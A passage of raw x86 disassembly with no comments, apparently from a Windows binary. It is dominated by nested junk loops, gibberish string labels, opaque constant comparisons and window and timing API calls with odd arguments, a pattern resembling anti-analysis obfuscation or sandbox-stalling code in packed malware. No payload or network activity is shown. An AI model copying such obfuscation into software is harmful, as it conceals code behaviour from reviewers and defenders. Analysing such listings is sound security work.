idiv dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xd0]
shl eax, cl
xor eax, edx
cdq
mov dword [ebp - 0x7e0], eax
mov dword [ebp - 0x7dc], edx
push dword [ebp - 0x7dc]
push dword [ebp - 0x7e0]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4627e5
jmp 0x4627c3
jmp 0x46279d
jmp 0x462777
and dword [ebp - 0x110], 0
jmp 0x462862
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x370a
jge 0x462cbd
mov dword [ebp - 0x528], 0x2797
mov dword [ebp - 0xa38], str.jzu_xsi_jwgnxzm_hxpvkhu_iryz_otsklk_dvzciinp_rqqhsnifq_vkv
cmp dword [ebp - 0x528], 0x28df
jle 0x46298d
and dword [ebp - 0xd8], 0
jmp 0x4628ac
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x3af4
jge 0x462974
and dword [ebp - 0xe0], 0
jmp 0x4628d2
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x6718
jge 0x46296f
and dword [ebp - 0xe8], 0
jmp 0x4628f8
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x2fd8
jge 0x46296a
and dword [ebp - 0xf0], 0
jmp 0x46291a
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x7982
jge 0x462968
mov eax, dword [ebp - 0xd8]
imul eax, dword [ebp - 0xe0]
imul eax, dword [ebp - 0xe8]
cdq
idiv dword [ebp - 0xf0]
mov eax, edx
cdq
mov dword [ebp - 0x7ec], eax
mov dword [ebp - 0x7e8], edx
push dword [ebp - 0x7e8]
push dword [ebp - 0x7ec]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x46290d
jmp 0x4628eb
jmp 0x4628c5
jmp 0x46289f
push 0x11b7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
and dword [ebp - 0x118], 0
jmp 0x4629a3
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xad8
jge 0x462c6f
mov dword [ebp - 0x518], 0x80
mov dword [ebp - 0xab0], str.qtidc_mbqwy_vhmo_aikbinue_evywssfnb
cmp dword [ebp - 0x518], 0x3ce
jle 0x462a87
call dword [sym.imp.USER32.dll_GetCapture]
and dword [ebp - 0x108], 0
jmp 0x4629f3
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x302a
jge 0x462a87
and dword [ebp - 0xf8], 0
jmp 0x462a19
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x6ee9
jge 0x462a82
and dword [ebp - 0x100], 0
jmp 0x462a3b
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x5406
jge 0x462a80
mov ecx, dword [ebp - 0xf8]
sub ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x108]
sar eax, cl
cdq
mov dword [ebp - 0x7f8], eax
mov dword [ebp - 0x7f4], edx
push dword [ebp - 0x7f4]
push dword [ebp - 0x7f8]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x462a2e
jmp 0x462a0c
jmp 0x4629e6
mov eax, dword [ebp - 0x110]
imul eax, dword [ebp - 0x118]
xor eax, dword [ebp - 0x120]
cdq
mov dword [ebp - 0x810], eax
mov dword [ebp - 0x80c], edx
mov dword [ebp - 4], 0x76
cmp dword [ebp - 0x518], 0xfffffe89
jge 0x462aca
mov edx, dword [ebp - 0xab0]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x462ae6
or dword [ebp - 4], 0xffffffff
jmp 0x462af0
mov dword [ebp - 0x520], 0x68e
mov dword [ebp - 0x7cc], str.anqdw_cldnbxxu_hkip_xvylhvoda_dxkl_lodsw_zaloug
cmp dword [ebp - 0x520], 0x896
jle 0x462c0b
push 0x64d
push 0
push 0x2364
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
and dword [ebp - 0x128], 0
jmp 0x462b43
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x38c
jge 0x462c0b
and dword [ebp - 0x130], 0
jmp 0x462b69
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x2328
jge 0x462c06
and dword [ebp - 0x138], 0
jmp 0x462b8f
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x43f0
jge 0x462c01
and dword [ebp - 0x140], 0
jmp 0x462bb1
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x6f5
jge 0x462bff
mov ecx, dword [ebp - 0x128]
add ecx, dword [ebp - 0x130]
mov eax, dword [ebp - 0x138]
cdq
idiv dword [ebp - 0x140]
or ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x804], eax
mov dword [ebp - 0x800], edx
push dword [ebp - 0x800]
push dword [ebp - 0x804]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x462ba4
jmp 0x462b82
jmp 0x462b5c
jmp 0x462b36
push dword [ebp - 0x80c]
push dword [ebp - 0x810]
mov ecx, 0xab96a0
call fcn.0047e22e
mov dword [ebp - 4], 0x78
cmp dword [ebp - 0x520], 0x3ab
jge 0x462c44
mov edx, dword [ebp - 0x7cc]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x462c60
or dword [ebp - 4], 0xffffffff
jmp 0x462c6a
jmp 0x462996
mov dword [ebp - 4], 0x7a
cmp dword [ebp - 0x528], 0x260f
jge 0x462c92
mov edx, dword [ebp - 0xa38]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x462cae
or dword [ebp - 4], 0xffffffff
jmp 0x462cb8
jmp 0x462855
mov dword [ebp - 4], 0x7c
cmp dword [ebp - 0x530], 0x43c
jge 0x462ce0
mov edx, dword [ebp - 0x7d8]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x462cfc
or dword [ebp - 4], 0xffffffff
jmp 0x462d06
jmp 0x462725
mov dword [ebp - 0x538], 0x733a
mov dword [ebp - 0xaf4], str.ztm_euyv_rpq
cmp dword [ebp - 0x538], 0x7709
jle 0x462e0e
and dword [ebp - 0x148], 0
jmp 0x462d45
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x682d
jge 0x462e0e
and dword [ebp - 0x150], 0
jmp 0x462d6b
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x184a
jge 0x462e09
and dword [ebp - 0x158], 0
jmp 0x462d91
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x675
jge 0x462e04
and dword [ebp - 0x160], 0
jmp 0x462db3
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x38a1
jge 0x462e02
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x150]
shl eax, cl
mov ecx, dword [ebp - 0x158]
shl eax, cl
mov ecx, dword [ebp - 0x160]
sar eax, cl
cdq
mov dword [ebp - 0x81c], eax
mov dword [ebp - 0x818], edx
push dword [ebp - 0x818]
push dword [ebp - 0x81c]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x462da6
jmp 0x462d84
jmp 0x462d5e
jmp 0x462d38
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.004523ec
pop ecx
mov dword [ebp - 4], 0x7e
cmp dword [ebp - 0x538], 0x72f3
jge 0x462e3c
mov edx, dword [ebp - 0xaf4]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x462e58
or dword [ebp - 4], 0xffffffff
jmp 0x462e62
mov dword [ebp - 4], 0x80
mov dword [ebp - 0x548], 0x6f13
mov dword [ebp - 0xa44], str.iqf_sbxkhlfx_wzmyp
cmp dword [ebp - 0x548], 0x7085
jle 0x462f8c
and dword [ebp - 0x168], 0
jmp 0x462ea3
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x59b0
jge 0x462f8c
and dword [ebp - 0x170], 0
jmp 0x462ec9
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x73de
jge 0x462f87
and dword [ebp - 0x178], 0
jmp 0x462eef
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x1753
jge 0x462f82
and dword [ebp - 0x180], 0
jmp 0x462f15
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x3f68
jge 0x462f7d
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x178]
imul ecx, dword [ebp - 0x180]
xor eax, ecx
cdq
mov dword [ebp - 0x828], eax
mov dword [ebp - 0x824], edx
push dword [ebp - 0x824]
push dword [ebp - 0x828]
lea ecx, [ebp - 0xd78]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xd78]
call fcn.004026e0
jmp 0x462f08
jmp 0x462ee2
jmp 0x462ebc
jmp 0x462e96
cmp dword [ebp - 0x540], 0x30de
jge 0x462fa8
mov edx, dword [ebp - 0x7e4]
mov ecx, 0xab96a0
call fcn.0047f6dc
mov byte [ebp - 4], 0x81
cmp dword [ebp - 0x548], 0x6f08
jge 0x462fc4
push dword [ebp - 0xa44]
call fcn.00482ed5
pop ecx
jmp 0x462fe0
mov dword [ebp - 4], 0x80
jmp 0x462ff0
jmp 0x46300c
or dword [ebp - 4], 0xffffffff
jmp 0x463016
mov dword [ebp - 0x558], 0x52cd
mov dword [ebp - 0xabc], str.wcl_rpxb_nkhzlj_exkgixk_jptldv_omhfkbkvd_sxlqt_hgjazedt_ttjc_ktmtqchbe_ubtvhy
cmp dword [ebp - 0x558], 0x53f8
jle 0x46311d
and dword [ebp - 0x188], 0
jmp 0x463050
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x2fdf
jge 0x46311d
and dword [ebp - 0x190], 0
jmp 0x463076
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x1a26
jge 0x463118
and dword [ebp - 0x198], 0
jmp 0x46309c
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x6280
jge 0x463113
and dword [ebp - 0x1a0], 0
jmp 0x4630be
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x7a55
jge 0x46310e
mov eax, dword [ebp - 0x188]
cdq
idiv dword [ebp - 0x190]
mov ecx, dword [ebp - 0x198]
shl edx, cl
mov ecx, dword [ebp - 0x1a0]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x834], eax
mov dword [ebp - 0x830], edx
push dword [ebp - 0x830]
push dword [ebp - 0x834]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4630b1
jmp 0x46308f
jmp 0x463069
jmp 0x463043
cmp dword [ebp - 0x14], 4
jne 0x463264
mov dword [ebp - 0x550], 0x67e0
mov dword [ebp - 0x7f0], str.iol_gewep_uyolapy_yswknkinu_qdsfc_kxrgsmn_aztwnbn_zotxoo_scz_wfcn_cduy_drutkp
cmp dword [ebp - 0x550], 0x6bb8
jle 0x463214
and dword [ebp - 0x1b8], 0
jmp 0x463161
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x472d
jge 0x463214
and dword [ebp - 0x1a8], 0
jmp 0x463187
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0x4656
jge 0x46320f
and dword [ebp - 0x1b0], 0
jmp 0x4631a9
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x7a05
jge 0x46320a
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1b0]
shl eax, cl
and eax, dword [ebp - 0x1b8]
cdq
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x83c], edx
push dword [ebp - 0x83c]
push dword [ebp - 0x840]
lea ecx, [ebp - 0xda8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xda8]
call fcn.004026e0
jmp 0x46319c
jmp 0x46317a
jmp 0x463154
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045515e
pop ecx
mov dword [ebp - 4], 0x84
cmp dword [ebp - 0x550], 0x6459
jge 0x46323e
push dword [ebp - 0x7f0]
call fcn.00482ed5
pop ecx
jmp 0x46325a
or dword [ebp - 4], 0xffffffff
jmp 0x463264
mov dword [ebp - 4], 0x86
cmp dword [ebp - 0x558], 0x517a
jge 0x463287
mov edx, dword [ebp - 0xabc]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4632a3
or dword [ebp - 4], 0xffffffff
jmp 0x4632ad
cmp dword [ebp - 0x14], 5
jne 0x463bf7
mov dword [ebp - 0x560], 0x4ada
mov dword [ebp - 0x7fc], str.vkpeyngj_foqw_kqzrejubn_ofo_omp_agqlgk_tsucect_qynv_rtlgnu_tdttxf_qiqze_dttjz
cmp dword [ebp - 0x560], 0x4e1b
jle 0x46337a
and dword [ebp - 0x1c0], 0
jmp 0x4632f1
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x4ea3
jge 0x463372
and dword [ebp - 0x1c8], 0
jmp 0x463313
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x212c
jge 0x46336d
mov eax, dword [ebp - 0x1c0]
imul eax, dword [ebp - 0x1c8]
cdq
mov dword [ebp - 0x84c], eax
mov dword [ebp - 0x848], edx
push dword [ebp - 0x848]
push dword [ebp - 0x84c]
lea ecx, [ebp - 0xdd8]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xdd8]
call fcn.004026e0
jmp 0x463306
jmp 0x4632e4
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 0x588], 0x238e
mov dword [ebp - 4], 0x88
cmp dword [ebp - 0x560], 0x48b9
jge 0x4633a3
push dword [ebp - 0x7fc]
call fcn.00482ed5
pop ecx
jmp 0x4633bf
or dword [ebp - 4], 0xffffffff
jmp 0x4633c9
mov dword [ebp - 0xa5c], str.xxyorwol_egfcgxz_kpjlzvgz_wxt_qsjebbr
cmp dword [ebp - 0x588], 0x2715
jle 0x463823
mov dword [ebp - 0x578], 0x448d
mov dword [ebp - 0xae4], str.taytlxcu_woxxjq_mdyupd_mmmsb_lwjmw_fitjl_zbngogmgo_msaczsvn_ftmjnsfon_zofgwgz_ydhv_ulgxxin
cmp dword [ebp - 0x578], 0x470b
jle 0x4634eb
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
and dword [ebp - 0x1e0], 0
jmp 0x463425
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x42cf
jge 0x4634eb
and dword [ebp - 0x1d0], 0
jmp 0x46344b
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x7f7d
jge 0x4634e6
and dword [ebp - 0x1d8], 0
jmp 0x463471
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0x36c1
jge 0x4634e1
and dword [ebp - 0x1e8], 0
jmp 0x463493
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x5480
jge 0x4634df
mov ecx, dword [ebp - 0x1d0]
imul ecx, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1e0]
sar eax, cl
xor eax, dword [ebp - 0x1e8]
cdq
mov dword [ebp - 0x858], eax
mov dword [ebp - 0x854], edx
push dword [ebp - 0x854]
push dword [ebp - 0x858]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x463486
jmp 0x463464
jmp 0x46343e
jmp 0x463418
and dword [ebp - 0x220], 0
jmp 0x463501
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x73c9
jge 0x4637da
mov dword [ebp - 0x570], 0x7154
mov dword [ebp - 0x808], str.tsjn_zpqzyfks_mcntr_cvildr_zvr
cmp dword [ebp - 0x570], 0x71cc
jle 0x463625
push 0x1bbc
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and dword [ebp - 0x1f0], 0
jmp 0x46355f
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x434f
jge 0x463625
and dword [ebp - 0x1f8], 0
jmp 0x463585
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x36ee
jge 0x463620
and dword [ebp - 0x200], 0
jmp 0x4635ab
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x5c97
jge 0x46361b
and dword [ebp - 0x208], 0
jmp 0x4635cd
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x197d
jge 0x463619
mov eax, dword [ebp - 0x1f0]
imul eax, dword [ebp - 0x1f8]
mov ecx, dword [ebp - 0x200]
and ecx, dword [ebp - 0x208]
xor eax, ecx
cdq
mov dword [ebp - 0x864], eax
mov dword [ebp - 0x860], edx
push dword [ebp - 0x860]
push dword [ebp - 0x864]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4635c0
jmp 0x46359e
jmp 0x463578
jmp 0x463552
and dword [ebp - 0x228], 0
jmp 0x46363b
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0x6460
jge 0x46378c
mov dword [ebp - 0x568], 0x4b75
mov dword [ebp - 0xa50], str.rhsr_huszlu_bmwk_eqwroxrbu_qaouzvh_fhiueiw_hpr_pstgzevfc_qfrkihkx_rakubr_otuzgno
cmp dword [ebp - 0x568], 0x4e5c
jle 0x4636f1
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
and dword [ebp - 0x210], 0
jmp 0x46368d
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xfe8
jge 0x4636f1
and dword [ebp - 0x218], 0
jmp 0x4636af
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x1b02
jge 0x4636ef
mov eax, dword [ebp - 0x210]
cdq
idiv dword [ebp - 0x218]
mov eax, edx
cdq
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], edx
push dword [ebp - 0x86c]
push dword [ebp - 0x870]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4636a2
jmp 0x463680
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x228]
shl eax, cl
cdq
mov dword [ebp - 0x87c], eax
mov dword [ebp - 0x878], edx
mov dword [ebp - 4], 0x8a
cmp dword [ebp - 0x568], 0x49e7
jge 0x46372f
mov edx, dword [ebp - 0xa50]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x46374b
or dword [ebp - 4], 0xffffffff
jmp 0x463755
push dword [ebp - 0x878]
push dword [ebp - 0x87c]
lea ecx, [ebp - 0xe08]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe08]
call fcn.004026e0
jmp 0x46362e
mov dword [ebp - 4], 0x8c
cmp dword [ebp - 0x570], 0x6e1d
jge 0x4637af
mov edx, dword [ebp - 0x808]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x4637cb
or dword [ebp - 4], 0xffffffff
jmp 0x4637d5
jmp 0x4634f4
mov dword [ebp - 4], 0x8e
cmp dword [ebp - 0x578], 0x426f
jge 0x4637fd
mov edx, dword [ebp - 0xae4]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x463819
or dword [ebp - 4], 0xffffffff
jmp 0x463823
mov dword [ebp - 0x580], 0x4a6f
mov dword [ebp - 0x814], str.nvfxug_wzeuacbe_wpq_sishubm_sqkcwyznd_pqd_xpmgzsv_vcshf_txndxmrec_moywj_qibgjub_viizw_swqgkx_zmn
cmp dword [ebp - 0x580], 0x4c52
jle 0x4638f0
and dword [ebp - 0x230], 0
jmp 0x46385d
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x4dbe
jge 0x4638f0
and dword [ebp - 0x238], 0
jmp 0x463883
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x5c1f
jge 0x4638eb
and dword [ebp - 0x240], 0
jmp 0x4638a5
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x4902
jge 0x4638e9
mov eax, dword [ebp - 0x230]
imul eax, dword [ebp - 0x238]
xor eax, dword [ebp - 0x240]
cdq
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], edx
push dword [ebp - 0x884]
push dword [ebp - 0x888]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x463898
jmp 0x463876
jmp 0x463850
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00457c76
pop ecx
mov dword [ebp - 4], 0x90
cmp dword [ebp - 0x580], 0x47e1
jge 0x46391e
mov edx, dword [ebp - 0x814]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x46393a
or dword [ebp - 4], 0xffffffff
jmp 0x463944
mov dword [ebp - 0x598], 0x365c
mov dword [ebp - 0xac4], str.lmzadcj_picipqd_hayzojilq_yiw_rbh_zlymou_uvodcpvs_bvxnmug
cmp dword [ebp - 0x598], 0x397a
jle 0x463a4b
and dword [ebp - 0x248], 0
jmp 0x46397e
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x550a
jge 0x463a4b
and dword [ebp - 0x250], 0
jmp 0x4639a4
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x5737
jge 0x463a46
and dword [ebp - 0x258], 0
jmp 0x4639ca
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x7d61
jge 0x463a41
and dword [ebp - 0x260], 0
jmp 0x4639ec
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x6c01
jge 0x463a3c
mov esi, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x250]
shl esi, cl
mov eax, dword [ebp - 0x258]
cdq
idiv dword [ebp - 0x260]
and esi, edx
mov eax, esi
cdq
mov dword [ebp - 0x894], eax
mov dword [ebp - 0x890], edx
push dword [ebp - 0x890]
push dword [ebp - 0x894]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x4639df
jmp 0x4639bd
jmp 0x463997
jmp 0x463971
mov dword [ebp - 4], 0x92
mov dword [ebp - 0x590], 0x4822
mov dword [ebp - 0x820], str.opvfsyvc_coymjx_abagcs_dypo_ygexvsfkp_sncv_jqgjgs_hwbccbfr_qgnxrzso
cmp dword [ebp - 0x590], 0x4880
jle 0x463b24
and dword [ebp - 0x278], 0
jmp 0x463a8c
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x3b9b
jge 0x463b1e
and dword [ebp - 0x268], 0
jmp 0x463ab2
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x4b03
jge 0x463b19
and dword [ebp - 0x270], 0
jmp 0x463ad4
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x57b4
jge 0x463b17
mov eax, dword [ebp - 0x268]
sub eax, dword [ebp - 0x270]
or eax, dword [ebp - 0x278]
cdq
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], edx
push dword [ebp - 0x89c]
push dword [ebp - 0x8a0]
mov ecx, 0xab96a0
call fcn.0047e22e
jmp 0x463ac7
jmp 0x463aa5
jmp 0x463a7f
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
cmp dword [ebp - 0x588], 0x2155
jge 0x463b3c
push dword [ebp - 0xa5c]
call fcn.00482ed5
pop ecx
mov byte [ebp - 4], 0x93
cmp dword [ebp - 0x590], 0x4606
jge 0x463b5c
mov edx, dword [ebp - 0x820]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x463b78
mov dword [ebp - 4], 0x92
jmp 0x463b88
jmp 0x463ba4
or dword [ebp - 4], 0xffffffff
jmp 0x463bae
mov dword [ebp - 4], 0x96
cmp dword [ebp - 0x598], 0x35cd
jge 0x463bd1
mov edx, dword [ebp - 0xac4]
mov ecx, 0xab96a0
call fcn.0047f6dc
jmp 0x463bed
or dword [ebp - 4], 0xffffffff
jmp 0x463bf7
mov dword [ebp - 0x5d8], 0x61cf
mov dword [ebp - 0x5a0], 0x724b
mov dword [ebp - 0x82c], str.rnvd_dpaizbi_geyijrb_htr_ijw_xxmrj
cmp dword [ebp - 0x5a0], 0x7623
jle 0x463d27
and dword [ebp - 0x280], 0
jmp 0x463c3b
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x22c
jge 0x463d21
and dword [ebp - 0x288], 0
jmp 0x463c61
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x505c
jge 0x463d1c
and dword [ebp - 0x290], 0
jmp 0x463c87
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x4aa4
jge 0x463d17
and dword [ebp - 0x298], 0
jmp 0x463cad
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x6b37
jge 0x463d12
mov eax, dword [ebp - 0x280]
add eax, dword [ebp - 0x288]
add eax, dword [ebp - 0x290]
and eax, dword [ebp - 0x298]
cdq
mov dword [ebp - 0x8ac], eax
mov dword [ebp - 0x8a8], edx
push dword [ebp - 0x8a8]
push dword [ebp - 0x8ac]
lea ecx, [ebp - 0xe38]
call fcn.00450edb
pop ecx
pop ecx
mov ecx, eax
call fcn.004028f3
push eax
call fcn.00482ed5
pop ecx
lea ecx, [ebp - 0xe38]
call fcn.004026e0
jmp 0x463ca0
jmp 0x463c7a
jmp 0x463c54
jmp 0x463c2e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xacc], str.hunpxz_gzc_vpsfe_tkaf_ccntb_djxjovv_jvwkzcjk_cszokbcir_iwmtfl_vfeccv_cryuwwf_hzuajrmcj
mov dword [ebp - 4], 0x98
cmp dword [ebp - 0x5a0], 0x6fa4
jge 0x463d50
push dword [ebp - 0x82c]
call fcn.00482ed5
pop ecx
jmp 0x463d6c
or dword [ebp - 4], 0xffffffff
jmp 0x463d76
mov dword [ebp - 0x5c0], 0x5508
mov dword [ebp - 0x844], str.wrfvrb_ztvdrrqw_ovuedw_tfigd_ocl_wha_rocmanc_xtk_ntorxpcn_cokqav_cxrkdjfl
cmp dword [ebp - 0x5c0], 0x56b2
jle 0x463ea3
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
and dword [ebp - 0x2b0], 0
jmp 0x463db8
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x4769
jge 0x463ea3
and dword [ebp - 0x2a0], 0
jmp 0x463dde
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x2d6a
jge 0x463e9e
and dword [ebp - 0x2a8], 0
jmp 0x463e04
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x5c99
jge 0x463e99
